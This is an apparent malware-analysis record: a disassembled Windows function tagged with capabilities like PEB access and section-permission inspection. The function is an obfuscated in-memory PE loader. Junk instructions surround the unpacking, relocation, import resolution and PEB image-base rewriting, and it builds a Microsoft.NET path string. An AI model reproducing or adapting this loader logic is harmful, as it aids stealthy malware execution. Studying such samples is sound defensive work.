Function at 0x40d000
Capabilities:
Access peb ldr_data
Create thread
Encode data using base64
Enumerate pe sections
Get number of processors
Get process filename
Get process heap flags
Get process heap force flags
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
rol ebx, 0x3b
dec edi
inc eax
not eax
dec esi
or edi, 0x2a
sbb ebx, 0
imul ebx
not esi
rcl esi, 0xcb
not edx
mov esi, 0xc4
neg ebx
ror edx, 0x85
rcr eax, 0xe9
bswap eax
rol edx, 0x13
rol esi, 0xfc
mov edi, 0xd9
imul ebx
or esi, 0xe3
ror eax, 0x6b
rcl ebx, 0x93
rcl ebx, 0xf9
sub esi, 0xf4
imul esi
inc edi
neg esi
inc esi
add esi, 0x9d
mov edx, 0xce
sbb eax, 0xb7
sub eax, 0
not eax
or eax, 0x8a
ror esi, 0x8a
inc ebx
inc edx
neg eax
bswap edx
bswap esi
inc esi
sub esi, 0x51
mov esi, 0xc9
neg edi
add ebx, 0xaf
neg ebx
not esi
sub edi, 0xda
sbb eax, 0x88
imul edi
bswap edi
not edi
ror ebx, 0xd9
rcr edx, 0x94
neg edx
not ebx
rol eax, 0x70
or eax, 0x66
imul esi
imul esi
not edi
or eax, 0x52
mov edi, 0x38
not eax
imul edx
sbb edx, 0xf
inc edi
bswap eax
imul eax
mov eax, 0x7d
rcl ebx, 0x1e
bswap edx
mov edx, 0x2d
imul esi
add ebx, 0xc4
sbb edi, 0x41
sbb ebx, 0xfc
rcr edx, 0xba
rol eax, 0x34
sub esi, 0x5b
neg eax
rcl edi, 0x11
inc eax
inc edx
sbb ebx, 0x62
ror esi, 0xd5
imul edi
imul eax
not edx
ror ebx, 0x41
imul edi
neg eax
bswap eax
rol eax, 0x31
and esi, 0x54
not ebx
rol eax, 0x1e
neg esi
neg edi
ror esi, 0xfd
imul edx
or esi, 0xf
neg eax
inc edx
rcl ebx, 0xc0
imul edx
sbb edx, 0xeb
inc ebx
sub edx, 0xdd
or edx, 0xdd
sub esi, 0xf0
add esi, 0xd7
neg eax
sub ebx, 0xef
rol edx, 0xc9
dec esi
neg edi
mov edx, 0xc6
imul edx
sub edi, 0xc1
rol eax, 0x2c
rcr edi, 0xe6
sbb edi, 0xa5
inc edi
dec edi
inc eax
neg eax
sbb ebx, 0xc2
rcl eax, 0xce
rol esi, 0xc2
mov edx, 0xa0
and esi, 0x28
inc eax
not eax
imul edi
rcl edx, 0x6c
imul ebx
neg esi
dec eax
neg eax
rol ebx, 0xda
not eax
sub esi, 0xaf
and ebx, 0x5e
and edi, 0x7b
sbb ebx, 0xc6
mov eax, 0xe2
dec ebx
ror edi, 0x52
not eax
mov eax, 0x47
ror eax, 4
or edx, 0x89
rol edi, 0xbf
inc eax
imul esi
dec edx
inc edx
inc edx
sbb edi, 0xad
dec edi
ror edx, 0x59
inc eax
dec eax
imul esi
mov edi, 0x7e
neg edi
neg edi
rcl ebx, 0x7d
inc edx
imul ebx
rol edi, 0xa0
bswap eax
dec edx
ror edi, 0x22
neg eax
not edi
dec ebx
and ebx, 0x95
inc eax
ror edi, 0xc4
rcr edx, 0xf1
rcr esi, 0xe8
add esi, 0xc7
rcr edx, 0x1d
dec esi
or edi, 0x7d
ror edi, 0xab
inc edi
bswap eax
mov edi, 0x34
inc ebx
imul ebx
not edi
dec edx
neg esi
neg ebx
neg eax
imul edx
push 0x4e400
push 0x413008
call fcn.00401000
add esp, 8
mov dword [ebp + 8], 0x413008
add edi, 0xcf
mov esi, 0x27
bswap eax
imul eax
rol ebx, 0x45
ror eax, 0x40
or edx, 0xb9
inc edx
rol eax, 0xd6
add ebx, 0xa0
or ebx, 0x9e
dec ebx
ror ebx, 0x67
neg edi
imul edi
neg edx
or edx, 0x94
sbb eax, 0x51
add esi, 0x72
neg esi
dec ebx
rcr edx, 0xf1
bswap edx
dec edi
and edi, 0xa5
imul edi
and ebx, 0x6f
inc edx
neg eax
bswap esi
not ebx
imul eax
dec esi
rcr eax, 0x73
sub edx, 0xa8
neg eax
bswap ebx
sub esi, 0xdf
sbb ebx, 0x81
bswap edi
neg edx
inc edx
rcr edi, 0x84
rol edi, 0xe2
ror ebx, 0xd7
rcr eax, 0
bswap edi
rcl esi, 0xdb
dec esi
ror eax, 0xb7
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc4], eax
mov ecx, dword [ebp - 0xc4]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x90], edx
mov eax, dword [ebp - 0x90]
cmp dword [eax], 0x4550
je 0x40d319
mov eax, 1
jmp 0x40e8ff
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx + 0xa0]
mov eax, dword [ecx + 0xa4]
mov dword [ebp - 0xbc], edx
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
je 0x40d34c
mov dword [ebp - 0x110], 0
jmp 0x40d35b
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx + 0x34]
mov dword [ebp - 0x110], edx
push 4
push 0x3000
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax + 0x50]
push ecx
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0xb8], 0
jne 0x40d3a3
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
cmp ecx, dword [eax + 0x34]
je 0x40d3a3
mov eax, 2
jmp 0x40e8ff
or edx, 0xb9
imul edi
rol esi, 0xe6
sbb eax, 0x44
dec esi
sub edi, 0x1f
rcr eax, 0x20
bswap ebx
add esi, 0x46
not eax
not edi
dec esi
imul eax
neg esi
not ebx
inc edi
and edx, 0x89
not esi
neg esi
not eax
dec esi
neg ebx
rcl edi, 0xc1
neg esi
rcl ebx, 0x36
or edi, 0xe
inc esi
rcl eax, 7
dec eax
add edx, 0xb4
rcr ebx, 0x98
inc esi
sub ebx, 0x5e
not esi
bswap esi
dec edi
ror edx, 0x73
dec esi
or edi, 0x79
not ebx
rcr ebx, 0xd8
rcr edi, 0xf9
bswap edx
inc edx
dec edx
or edi, 0xfe
or esi, 0x91
neg edi
sbb esi, 3
sub eax, 3
push 0x400
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x8c]
push eax
call fcn.00401960
add esp, 0xc
rol edi, 0x3e
sub ebx, 0xfb
not esi
sbb ebx, 0x8d
sub esi, 0x87
ror esi, 0x65
rcr edi, 0x45
rcl ebx, 0x1b
not edi
rcr ebx, 0x20
not edx
mov edi, 0xf5
bswap edx
imul eax
bswap ebx
rcr ebx, 0x55
add eax, 0x42
rcl eax, 0x89
imul edx
sub ebx, 0x98
inc esi
not esi
not esi
neg ebx
inc esi
rcl ebx, 0x7a
sub edx, 0xc2
bswap ebx
rcl ebx, 0xe
neg eax
inc eax
inc edx
imul edi
sbb edx, 0xf0
inc edx
rcl edi, 0x1c
not ebx
dec edi
imul ebx
rol esi, 0x86
rol eax, 0x1e
bswap ebx
ror edi, 0x84
neg edi
imul ebx
and edi, 0x65
ror edi, 0xbf
bswap esi
inc ebx
inc eax
ror edx, 0xb9
mov esi, 0x97
dec eax
neg ebx
not ebx
rcl edx, 0x6e
ror eax, 0xa3
bswap esi
imul edx
not ebx
and edx, 0x69
inc esi
bswap ebx
rcr ebx, 0x5d
rcl ebx, 0x15
or eax, 0x11
neg eax
sbb edx, 0xb5
dec edx
rcl esi, 0xa2
sbb eax, 0x38
inc edi
rcl edi, 0xec
neg ebx
inc edx
dec eax
rol edx, 0x30
bswap eax
not ebx
imul eax
sbb esi, 0xfe
dec ebx
and eax, 7
bswap eax
rcl ebx, 0xfb
rol eax, 0x34
rol edi, 0x50
inc eax
dec edi
rcr edi, 0x73
neg edi
mov ebx, 0x36
rcl edi, 0xcb
add eax, 0x23
rcl ebx, 0xbd
and ebx, 0x3d
imul edi
neg edi
sub ebx, 0x3d
dec ebx
bswap ebx
bswap edi
dec edi
mov edi, 0xae
mov ebx, 0xd2
neg edi
not esi
sub ebx, 0xf5
add edi, 0xe4
inc ebx
rol esi, 0xde
not edx
rcr edi, 0x6a
not ebx
or esi, 0x6c
mov edi, 0xf3
bswap ebx
rol edi, 0xed
and edx, 0xa0
sub edi, 0x3b
inc ebx
not esi
and edi, 0xfd
dec esi
bswap ebx
neg edi
and eax, 0xb0
sub edi, 0xb9
not edi
rcl eax, 0x8c
rol eax, 0x63
and eax, 0xf3
ror esi, 0x88
imul esi
ror eax, 0xcd
add esi, 0x31
and ebx, 0x5d
neg edi
not ebx
not eax
sub esi, 0xf1
bswap ebx
add edi, 0x94
imul ebx
mov eax, 0xee
rcr eax, 0x9f
mov eax, 0xc1
dec edx
neg eax
add eax, 0xe4
inc ebx
add ebx, 0xdb
dec edx
sub eax, 0xaf
neg ebx
neg ebx
dec edi
sub edi, 0x5d
not ebx
neg eax
neg eax
sbb esi, 0x52
sub ebx, 0xdd
sbb edi, 0x4e
inc eax
dec eax
or eax, 0x7c
and esi, 0x2d
or ebx, 0x12
inc eax
inc esi
and eax, 0x95
dec edi
not esi
inc edi
rol ebx, 0x73
neg eax
dec ebx
neg edx
and eax, 0
inc edi
rcr ebx, 0xc6
mov eax, 0xe5
imul eax
rcr edx, 0x26
not ebx
and eax, 0x69
neg esi
dec esi
neg edx
not eax
ror ebx, 0x7c
or esi, 0xb7
and esi, 0xa2
dec ebx
bswap esi
imul eax
dec esi
bswap edi
or ebx, 0x64
mov eax, 0x20
add edx, 0xcb
rcr edx, 0xe3
mov edi, 0x76
and esi, 0x38
ror edx, 0xd7
ror eax, 0x33
inc edx
dec esi
rol esi, 0xdb
bswap esi
rcl edx, 0xdd
mov edx, 0xb3
or edx, 0xe6
mov edx, 0x95
and esi, 0xe5
inc edx
and eax, 0xf7
dec edx
sub ebx, 0xe1
imul edx
neg ebx
bswap eax
rcl edi, 0x73
dec esi
mov edx, 0x9f
rcr edi, 0x8e
or eax, 0x4b
mov edi, 0x7d
sub eax, 0xea
rol eax, 0x42
or esi, 0x1e
bswap edx
mov ebx, 0x19
rcr edi, 0xac
bswap eax
imul edi
ror edx, 0x69
mov eax, 0x32
or eax, 0x8f
and edi, 0xa3
rcl edx, 0xe4
dec edi
ror eax, 0x60
inc edi
neg ebx
imul eax
rol esi, 0xfb
dec esi
sub ebx, 0xb0
mov ecx, dword [ebp - 0x90]
movzx edx, word [ecx + 0x14]
mov eax, dword [ebp - 0x90]
lea ecx, [eax + edx + 0x18]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xc8], 0
jmp 0x40d732
mov edx, dword [ebp - 0xc8]
add edx, 1
mov dword [ebp - 0xc8], edx
mov eax, dword [ebp - 0x90]
movzx ecx, word [eax + 6]
cmp dword [ebp - 0xc8], ecx
jge 0x40d793
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax + edx + 0x10]
push ecx
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx + 0x14]
push ecx
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.00401960
add esp, 0xc
jmp 0x40d723
sbb eax, 0x82
sbb eax, 0x5b
sbb ebx, 0x38
bswap edx
rcl edx, 9
bswap edx
bswap ebx
add eax, 4
sub edx, 0x3a
inc ebx
dec edi
imul esi
sub eax, 0x5b
neg eax
rol esi, 0xac
ror eax, 0x68
dec edi
bswap eax
bswap ebx
imul eax
mov eax, 0xef
neg edi
rcl edx, 0x91
sbb ebx, 0xd3
sbb ebx, 0x60
add edi, 0x91
and edi, 0x32
rcr esi, 0xf
imul eax
or eax, 0xdf
or edx, 0x32
neg ebx
imul eax
ror esi, 0x78
bswap edi
rcl esi, 0x79
sub edx, 0xd7
and edi, 0x3f
mov edi, 0xb7
mov edx, 0x36
not eax
and edx, 0x84
imul eax
inc edi
and esi, 0x1c
rcl edx, 0xa0
dec edx
rol edi, 0xcc
dec eax
dec edi
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
cmp eax, dword [edx + 0x34]
je 0x40d957
mov ecx, dword [ebp - 0x90]
mov edx, dword [ebp - 0x8c]
sub edx, dword [ecx + 0x34]
mov dword [ebp - 0xd0], edx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0xbc]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0xd4], 0
mov ecx, dword [ebp - 0xd4]
cmp ecx, dword [ebp - 0xb8]
jae 0x40d957
mov edx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx]
mov dword [ebp - 0xd8], eax
mov ecx, dword [ebp - 0xcc]
mov edx, dword [ecx + 4]
sub edx, 8
shr edx, 1
mov dword [ebp - 0xdc], edx
mov eax, dword [ebp - 0xcc]
add eax, 8
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xe4], 0
jmp 0x40d8cc
mov ecx, dword [ebp - 0xe4]
add ecx, 1
mov dword [ebp - 0xe4], ecx
mov edx, dword [ebp - 0xe4]
cmp edx, dword [ebp - 0xdc]
jge 0x40d931
mov eax, dword [ebp - 0xe0]
movzx ecx, word [eax]
sar ecx, 0xc
and ecx, 3
je 0x40d920
mov edx, dword [ebp - 0xe0]
movzx eax, word [edx]
and eax, 0xfff
mov ecx, dword [ebp - 0xd8]
mov edx, dword [ecx + eax]
add edx, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xe0]
movzx ecx, word [eax]
and ecx, 0xfff
mov eax, dword [ebp - 0xd8]
mov dword [eax + ecx], edx
mov ecx, dword [ebp - 0xe0]
add ecx, 2
mov dword [ebp - 0xe0], ecx
jmp 0x40d8bd
mov edx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xd4]
add eax, dword [edx + 4]
mov dword [ebp - 0xd4], eax
mov ecx, dword [ebp - 0xe0]
mov dword [ebp - 0xcc], ecx
jmp 0x40d868
dec eax
and ebx, 0x6b
bswap eax
rol edx, 0xc6
neg eax
add eax, 0x99
ror eax, 0xc2
sub ebx, 0xf
sbb edx, 0x27
bswap ebx
and edx, 0x2a
inc ebx
mov esi, 0xf7
rcr eax, 0xc1
bswap edx
and eax, 0xd6
bswap esi
sbb eax, 0xee
not ebx
not edx
inc edi
dec esi
inc ebx
imul eax
or edi, 0xd0
inc ebx
bswap eax
neg esi
neg eax
or edi, 0x49
inc esi
rcr edx, 0xde
add eax, 0xbd
imul esi
imul esi
add edi, 0xf2
add ebx, 0x66
rcl edi, 0x55
rcr esi, 0xbf
rol ebx, 0xb7
neg ebx
ror edx, 0x30
bswap esi
or edx, 0x65
inc esi
neg ebx
bswap esi
not eax
and edi, 0xb0
rcl eax, 0x54
imul eax
bswap esi
not ebx
add edx, 0xee
sbb ebx, 0xb1
rcr esi, 0xb1
dec ebx
ror edx, 0x9a
rol edi, 0xc
ror edi, 0x30
inc edx
dec edi
dec ebx
neg ebx
rcl edi, 3
bswap ebx
not esi
bswap esi
sbb ebx, 0x56
bswap eax
add eax, 0xb4
imul edi
rcr esi, 0x76
inc edi
not ebx
inc edx
add edx, 0x27
imul edx
rcl ebx, 0x80
not esi
rcl esi, 0x7c
not eax
neg edx
imul esi
neg esi
rcl eax, 0x22
bswap ebx
sub edx, 0xad
rcl edi, 0x74
add edx, 0xe2
rol esi, 0xd6
rcr eax, 0xf3
neg edi
neg esi
neg edx
and edx, 0x33
dec eax
dec ebx
rcr ebx, 0xb5
rcr ebx, 0x32
bswap edi
imul ebx
neg ebx
bswap esi
inc edx
ror edx, 0x19
add ebx, 0xe4
rcl eax, 0x48
not edi
rol esi, 0xca
imul esi
sub eax, 0x20
dec esi
ror edx, 0x5e
dec ebx
ror ebx, 0xe3
add edi, 0xb7
inc ebx
not ebx
imul esi
sbb ebx, 0xe0
neg ebx
dec esi
not esi
and edx, 0xce
bswap edi
not edi
imul esi
bswap edx
and eax, 0xeb
mov edx, 0xce
ror ebx, 0xf
neg esi
not edi
and ebx, 0x6b
sbb eax, 0xe5
not eax
ror ebx, 0x93
inc esi
mov edi, 0x6f
not edi
imul ebx
sbb ebx, 0x25
sub edx, 0xcb
bswap esi
imul edx
rol esi, 0x6c
dec esi
sub eax, 0x9c
rol edi, 0x48
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + 0x80]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0xe8], 0
jmp 0x40db1d
mov ecx, dword [ebp - 0xe8]
add ecx, 1
mov dword [ebp - 0xe8], ecx
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
cmp dword [eax + edx + 0x10], 0
je 0x40dc5b
mov ecx, dword [ebp - 0xe8]
imul ecx, ecx, 0x14
mov edx, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + ecx + 0xc]
mov dword [ebp - 0xf4], eax
mov ecx, dword [ebp - 0xf4]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
jne 0x40db74
jmp 0x40db0e
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0x10]
mov dword [ebp - 0xf0], ecx
mov dword [ebp - 0xf8], 0
jmp 0x40dbae
mov edx, dword [ebp - 0xf8]
add edx, 1
mov dword [ebp - 0xf8], edx
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xf0]
cmp dword [ecx + eax*4], 0
je 0x40dc56
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x100], ecx
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf0]
movzx ecx, word [eax + edx*4]
push ecx
mov edx, dword [ebp - 0xec]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0
jne 0x40dc29
mov eax, dword [ebp - 0x100]
add eax, 2
push eax
mov ecx, dword [ebp - 0xec]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xfc], eax
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0x10]
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xfc]
mov dword [ecx + edx*4], eax
jmp 0x40db9f
jmp 0x40db0e
mov dword [ebp - 0x104], 0
jmp 0x40dc76
mov ecx, dword [ebp - 0x104]
add ecx, 1
mov dword [ebp - 0x104], ecx
mov edx, dword [ebp - 0x90]
movzx eax, word [edx + 6]
cmp dword [ebp - 0x104], eax
jge 0x40dd94
mov dword [ebp - 0x108], 0x40
mov ecx, dword [ebp - 0x104]
imul ecx, ecx, 0x28
mov edx, dword [ebp - 0x9c]
mov eax, dword [edx + ecx + 0x24]
mov dword [ebp - 0x10c], eax
mov ecx, dword [ebp - 0x10c]
and ecx, 0x40000000
je 0x40dce4
mov edx, dword [ebp - 0x10c]
and edx, 0x80000000
je 0x40dce4
mov eax, dword [ebp - 0x10c]
and eax, 0x20000000
je 0x40dce4
mov dword [ebp - 0x108], 0x40
jmp 0x40dd4b
mov ecx, dword [ebp - 0x10c]
and ecx, 0x40000000
je 0x40dd0c
mov edx, dword [ebp - 0x10c]
and edx, 0x80000000
je 0x40dd0c
mov dword [ebp - 0x108], 4
jmp 0x40dd4b
mov eax, dword [ebp - 0x10c]
and eax, 0x40000000
je 0x40dd33
mov ecx, dword [ebp - 0x10c]
and ecx, 0x20000000
je 0x40dd33
mov dword [ebp - 0x108], 0x20
jmp 0x40dd4b
mov edx, dword [ebp - 0x10c]
and edx, 0x40000000
je 0x40dd4b
mov dword [ebp - 0x108], 2
lea eax, [ebp - 0xa8]
push eax
mov ecx, dword [ebp - 0x108]
push ecx
mov edx, dword [ebp - 0x104]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax + edx + 8]
push ecx
mov edx, dword [ebp - 0x104]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.00401980
add esp, 0x10
jmp 0x40dc67
bswap edi
mov edx, 0x8b
add esi, 0x28
rcr esi, 0x13
dec edi
and eax, 0x9e
neg eax
bswap edi
ror ebx, 0x44
neg edx
rcl eax, 0x2e
dec eax
bswap edx
not ebx
rcl edi, 0x6d
sub edx, 0xc9
ror esi, 0x27
inc eax
sub esi, 0x6b
sbb esi, 0xc9
sub edi, 0x57
rcl eax, 0xf0
or edi, 0xc4
add ebx, 0x12
mov edx, 0xb
sbb edx, 0x7e
imul eax
neg eax
bswap ebx
add ebx, 0xb7
rcl ebx, 0xa5
bswap esi
bswap esi
dec edx
inc edx
or edi, 0x1a
dec edi
add edx, 0xda
imul ebx
imul edi
imul ebx
dec esi
rcl ebx, 0xb1
sub ebx, 0xeb
sbb esi, 0x10
sub edi, 0x81
sub edi, 0xc8
mov edi, 0x20
and edx, 0x57
rcr ebx, 0x1e
and esi, 0xce
neg ebx
not edx
dec edx
rcl ebx, 0x52
not esi
mov edi, 0x8d
inc edi
sbb edx, 0x59
neg edi
bswap esi
rol edi, 0x52
rcl esi, 0xff
inc edi
sub edx, 0xee
neg esi
imul edi
sbb edx, 0x26
rcr eax, 0x65
not edx
bswap ebx
inc eax
rcr ebx, 0x3d
inc edx
ror edi, 0x81
sub edx, 0x33
sbb edi, 0x34
rol edx, 0x3a
sub esi, 0x61
and ebx, 0x5c
rol ebx, 0x90
bswap eax
neg eax
not esi
neg esi
sbb edi, 0x78
dec edi
rcl eax, 0x1a
not edi
add edi, 0x58
bswap esi
and ebx, 0x97
inc edi
inc edi
inc eax
mov edx, 0x19
bswap esi
not esi
inc eax
neg edi
bswap ebx
not esi
dec edx
ror eax, 0xe0
sub eax, 0x1a
sub ebx, 0x6a
not ebx
ror eax, 6
and edx, 6
neg eax
bswap ebx
add edi, 0xf2
and esi, 0x20
not edi
not edx
neg esi
rol ebx, 0xd
add edi, 0xbb
bswap esi
bswap eax
sub edx, 0x17
bswap eax
rcl eax, 0xbf
neg edx
inc edi
inc ebx
rol edi, 0x88
not ebx
bswap esi
rcl edi, 0xee
inc eax
dec eax
mov edx, 0xb6
not edx
and edx, 0x4f
mov ebx, 0x74
ror edx, 0x6b
imul esi
not edi
inc edi
mov esi, 0x6f
and edx, 0x54
mov edi, 0xa5
not edi
add esi, 0xac
not esi
bswap ebx
inc edi
bswap eax
not eax
mov edx, dword fs:[0x30]
mov dword [ebp - 0x94], edx
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
sub eax, 8
mov dword [ebp - 0x98], eax
bswap ebx
or edi, 0x6e
not edx
bswap edx
ror esi, 0x1c
inc edx
not esi
sub esi, 0xb5
sbb edx, 0x79
and edi, 0x49
rcr edi, 0xf7
not edx
dec ebx
not esi
not ebx
or esi, 0x19
not esi
inc ebx
sub eax, 0xc3
ror esi, 0x90
or eax, 0x8e
inc esi
mov eax, 0xf5
sbb esi, 0x6b
dec eax
sbb eax, 0x54
rcr esi, 0x98
rol edi, 0xdb
rcr esi, 0x3c
not eax
dec eax
dec esi
or edx, 0x9c
mov ebx, 0x13
bswap esi
rcl edx, 0xfd
ror esi, 0xc2
inc edi
ror ebx, 0x50
dec esi
neg edi
bswap edx
bswap edi
rol ebx, 0x7a
sbb ebx, 0xea
mov eax, 0x78
rcl esi, 0xe1
not esi
sub ebx, 0x1d
rcl esi, 0x30
mov esi, 0x9f
imul ebx
inc eax
inc esi
rol esi, 0x18
bswap edi
inc edi
rol eax, 0xe8
rcr ebx, 0x4b
bswap edx
inc eax
imul esi
sub ebx, 0xb7
inc ebx
mov esi, 0x27
sbb edx, 0x20
or eax, 0x7d
ror edi, 0x7a
sbb ebx, 0xe1
imul edx
sub esi, 0x96
dec eax
rol ebx, 0x92
not edi
inc edi
imul edx
imul edx
inc edx
and edi, 0x52
and edi, 0xe0
inc esi
or eax, 0xf8
inc edx
and esi, 0x42
not esi
and edi, 0x8f
dec esi
imul edx
neg edi
rol esi, 0x3b
sbb ebx, 0x28
rcl ebx, 0x66
bswap esi
imul edi
inc ebx
rol eax, 0x4a
add ebx, 0x6c
imul edi
imul edi
dec edx
imul edx
dec esi
add ebx, 0xee
rcr esi, 0x1e
or esi, 0xcc
sbb ebx, 0x4c
neg esi
neg eax
inc edi
rol edi, 0xde
inc edx
rcr ebx, 0x53
rcl edx, 0xf7
rol edi, 0x48
not ebx
add esi, 0xce
dec edi
and edi, 0xa5
add esi, 0x9b
mov esi, 0xa9
neg ebx
sub edx, 0x10
not ebx
not eax
not eax
not ebx
not esi
inc ebx
bswap edx
imul edi
add esi, 0xc7
sbb eax, 0x34
inc esi
inc eax
inc edi
inc eax
rcl edx, 0xfd
neg esi
rol eax, 0
add esi, 0x28
mov esi, 0x86
sub edx, 0x39
sub esi, 0x17
neg edi
dec eax
add esi, 0x2f
imul ebx
mov ebx, 0xf2
or edi, 0x40
bswap eax
mov ecx, dword [ebp - 0x94]
mov edx, dword [ebp - 0x8c]
mov dword [ecx + 8], edx
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x8c]
mov dword [eax + 0x18], ecx
mov edx, dword [ebp - 0x98]
add edx, 0x24
mov dword [ebp - 0xa4], edx
rol edx, 0x59
sbb ebx, 0xda
sbb ebx, 0xf8
dec edx
sub edx, 0x63
dec ebx
sub edi, 0x5c
not edi
and edi, 0x3a
or ebx, 0xd3
sbb ebx, 0xf3
not edx
bswap eax
rcl edx, 0x8f
ror ebx, 0x53
dec edi
rcl esi, 1
neg edx
not eax
or ebx, 0xe4
not ebx
neg esi
inc esi
bswap eax
bswap eax
mov esi, 0x50
inc edi
ror eax, 0x79
rcr edx, 0xb3
mov eax, 0x85
sub edi, 0xd7
rcl edi, 0x30
and ebx, 0xc2
rol edi, 0xb2
imul esi
sub eax, 2
inc ebx
sbb esi, 0xa6
and edx, 0x7e
rcr esi, 0xbd
ror esi, 0x6c
dec edi
mov edi, 0xdb
imul edx
ror esi, 0xd1
rcr edx, 0xd4
neg ebx
not edi
rol esi, 0xcd
rol ebx, 0x4b
and edi, 6
mov edx, 0x57
add edi, 0xd2
or ebx, 0x57
bswap ebx
mov edx, 0x69
inc ebx
neg edx
sbb ebx, 0x36
rcr edx, 0x9b
not ebx
and eax, 0x5c
and eax, 0x8b
inc ebx
inc ebx
neg edx
bswap edx
add edi, 0x38
bswap eax
dec edi
bswap edx
bswap edx
rcl esi, 0x7b
inc ebx
mov edx, 0x40
and eax, 0xa4
neg edx
add eax, 0xdd
or esi, 0x78
add edi, 0x38
imul esi
sbb eax, 0x66
not edx
dec edx
imul edi
dec eax
rol edi, 0x6a
add edi, 0x2f
ror edx, 0x64
and eax, 0x85
rcr ebx, 0x7d
neg edi
and eax, 0x9f
rcl eax, 0x21
or edx, 0xcc
add edx, 0x8f
sbb ebx, 0xcd
sub eax, 0x92
and edi, 0x67
sbb edi, 0x82
dec ebx
sbb eax, 0x83
bswap edi
and edi, 0x69
inc edx
not edx
imul edi
ror esi, 0x4e
add esi, 0xf7
inc edx
inc esi
not ebx
inc ebx
dec edi
ror ebx, 0xe6
mov edi, 0x9b
rcl esi, 0x78
sub ebx, 0x33
inc esi
dec esi
and eax, 0x1d
rcr edi, 0xc
dec ebx
inc esi
not ebx
imul esi
neg edx
sbb edx, 0xe
bswap esi
imul eax
add esi, 0x50
rol eax, 0xf7
inc edx
rol esi, 0xd1
dec esi
rcl esi, 0xed
sbb esi, 0xac
inc edi
and edi, 0x87
inc ebx
rcl eax, 0x82
rol ebx, 0xe4
sub ebx, 0xeb
rcr edx, 0x57
rcr eax, 0xea
not edi
or esi, 0xf6
sbb esi, 0x37
ror ebx, 0x18
neg edi
mov eax, 0x43
mov word [ebp - 0x88], ax
mov ecx, 0x3a
mov word [ebp - 0x86], cx
mov edx, 0x5c
mov word [ebp - 0x84], dx
mov eax, 0x5c
mov word [ebp - 0x82], ax
mov ecx, 0x57
mov word [ebp - 0x80], cx
mov edx, 0x69
mov word [ebp - 0x7e], dx
mov eax, 0x6e
mov word [ebp - 0x7c], ax
mov ecx, 0x64
mov word [ebp - 0x7a], cx
mov edx, 0x6f
mov word [ebp - 0x78], dx
mov eax, 0x77
mov word [ebp - 0x76], ax
mov ecx, 0x73
mov word [ebp - 0x74], cx
mov edx, 0x5c
mov word [ebp - 0x72], dx
mov eax, 0x4d
mov word [ebp - 0x70], ax
mov ecx, 0x69
mov word [ebp - 0x6e], cx
mov edx, 0x63
mov word [ebp - 0x6c], dx
mov eax, 0x72
mov word [ebp - 0x6a], ax
mov ecx, 0x6f
mov word [ebp - 0x68], cx
mov edx, 0x73
mov word [ebp - 0x66], dx
mov eax, 0x6f
mov word [ebp - 0x64], ax
mov ecx, 0x66
mov word [ebp - 0x62], cx
mov edx, 0x74
mov word [ebp - 0x60], dx
mov eax, 0x2e
mov word [ebp - 0x5e], ax
mov ecx, 0x4e
mov word [ebp - 0x5c], cx
mov edx, 0x45
mov word [ebp - 0x5a], dx
mov eax, 0x54
mov word [ebp - 0x58], ax
